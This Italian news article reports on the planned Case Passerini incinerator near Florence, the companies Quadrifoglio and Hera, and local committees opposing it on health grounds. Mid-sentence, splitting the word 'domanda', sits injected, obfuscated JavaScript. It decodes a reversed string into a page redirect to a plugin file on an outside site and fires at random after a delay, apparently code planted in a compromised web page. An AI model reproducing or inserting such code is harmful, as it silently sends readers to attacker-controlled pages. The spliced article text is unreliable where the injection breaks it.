Inceneritore, pronti a partire anche senza VIA. Ma i Comitati non ci stanno

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l'inceneritore progettato da Gae Aulenti
Quadrifoglio ed il socio Hera comunicano che entro l’anno inizieranno i lavori di costruzione dell’inceneritore di Case Passerini. E son così certi di ottenere il via libera della Provincia che annunciano per il 2015 la consegna del megaimpianto griffato Gae Aulenti. L’archistar col nome profumato eleva un camino a due canne da 60 metri che piace più di una pista nuova per l’aeroporto. “Prima il camino e poi la pista”, dice infatti il presidente della Provincia Andrea Barducci, che mette l’acceleratore alle autorizzazioni.

Il gruppo Hera, che ha l’appoggio finanziario di Intesa SanPaolo e del gruppo Montepaschi, a giorni costituirà (al 40% in società con Quadrifoglio che detiene il 60%) la NewCo Q.tHermo che avvierà le richieste d’autorizzazione di legge alla Provincia.

Sarà NewCo a costruire e gestire il termovalorizzatore e già prevede che l’impianto brucerà 140 mila tonnellate di rifiuti all’anno, il 40% degli indifferenziati e fornirà energia elettrica per 40 mila famiglie. I gestori assicurano anche l’abbattimento delle sostanze inquinanti oltre i limiti di legge e la massima trasparenza sul monitoraggio.

Ma la dom (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}anda è: può un’istituzione derubricare come atto formale la verifica della compatibilità ambientale dell’impianto?
Dal Coordinamento dei comitati della Piana FI-PO-PT al Coordinamento ATO Toscana e dal Centro Medicina Democratica-Firenze ci si chiede proprio questo. La presentazione del progetto di Gae Aulenti, in pompa magna e con la benedizione della Provincia, precede paradossalmente le previste audizioni del Consiglio Provinciale riguardanti i piani alternativi dei comitati della Piana FI-PO-PT e del Valdarno; incontri in cui le associazioni dovrebbero presentare le alternative al progetto di Hera e Quadrifoglio, compresa quella che non prevede alcun inceneritore: ‘Alter Piano‘ (piano Alternativo) per la gestione dei rifiuti.

Le associazioni che da anni si impegnano per soluzioni più moderne e meno pericolose al problema rifiuti chiamano a raccolta i cittadini e chiedono di alzare il livello d’attenzione su quella che sembra una autorizzazione già data. La Provincia infatti sembra pervicacemente decisa ad ignorare che anche gli inceneritori moderni rilasciano metalli pesanti, diossine e particolato ultrasottile, sostanze pericolose per la salute e definite dalla letteratura scientifica “a tolleranza zero”. “Lo studio Moniter – si legge in una nota dei comitati – che è costato nel 2007 alla Regione Emilia-Romagna oltre 3 milioni di euro per indagare gli effetti sanitari e ambientali degli inceneritori di HERA presenti sul suo territorio, ha ancora una volta dimostrato, nonostante limiti metodologici, precisi segnali di allarme e ricadute negative per la salute delle popolazioni esposte come: eccesso di linfomi Non Hodgkin a Modena, aumento di rischio di nascite pretermine e possibili aumenti di rischio tanto per patologie tumorali che non tumorali, per di più coerenti con altre segnalazioni emerse in letteratura”.

“Alter Piano mostrerà come si può gestire quel 40% di rifiuti che rimane dopo le raccolte differenziate, senza ricorrere all’incenerimento”, spiegano ancora i comitati, mobilitando la società civile che vuole saperne di più sui veri costi e benefici economici per gli attori e investitori dell’inceneritore della Piana e annunciando iniziative di boicottaggio nei confronti delle banche che finanzieranno l’operazione.

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